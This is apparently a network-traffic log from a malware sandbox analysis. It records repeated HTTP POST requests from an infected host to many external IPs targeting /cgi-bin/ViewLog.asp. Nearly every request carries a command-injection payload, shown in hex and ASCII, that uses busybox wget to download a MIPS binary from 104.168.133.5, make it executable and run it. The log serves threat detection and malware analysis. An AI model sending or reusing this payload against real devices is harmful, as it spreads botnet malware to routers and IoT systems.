Nov 23, 2023 05:17:59.846221924 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
426	192.168.2.13	41644	62.109.4.100	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:23.015202045 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
427	192.168.2.13	58718	94.121.122.52	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:23.024070024 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
428	192.168.2.13	54624	31.136.131.117	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:25.462363005 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:26.054302931 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:27.206310034 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:29.642278910 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:34.246305943 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:43.462327003 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:01.894237995 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
429	192.168.2.13	55008	95.215.20.239	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:25.476408005 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:25.686913967 CET	475	IN	HTTP/1.1 200 OK Content-Security-Policy: default-src *; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; frame-ancestors 'self' X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Date: Thu, 23 Nov 2023 04:17:25 GMT Etag: "627e4ae0.1676" Content-Type: text/html Content-Length: 1676 Connection: close Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port
430	192.168.2.13	34610	85.244.46.2	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:25.480670929 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
431	192.168.2.13	59502	94.187.112.183	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:25.498637915 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
432	192.168.2.13	56330	94.237.102.56	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:25.654995918 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
433	192.168.2.13	36468	62.173.138.3	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:25.691822052 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
434	192.168.2.13	42590	31.136.44.28	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:25.839278936 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:26.406315088 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:27.526293993 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:29.894289970 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:34.502279997 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:43.462295055 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:01.894238949 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
435	192.168.2.13	55018	95.215.20.239	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:25.892784119 CET	171	IN	HTTP/1.1 500 Server Error Content-Length: 48 Date: Thu, 23 Nov 2023 04:17:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
436	192.168.2.13	47466	62.29.34.196	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:25.953461885 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.13	44228	94.237.87.101	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:28.864651918 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:29.050669909 CET	200	IN	HTTP/1.1 307 Temporary Redirect Location: /containers/ Date: Thu, 23 Nov 2023 04:17:28 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
438	192.168.2.13	58680	62.134.71.192	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:28.874674082 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
439	192.168.2.13	40648	94.121.73.155	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:28.911020041 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
440	192.168.2.13	37432	62.150.195.131	8080

Timestamp	Bytes transferred	Direction	Data
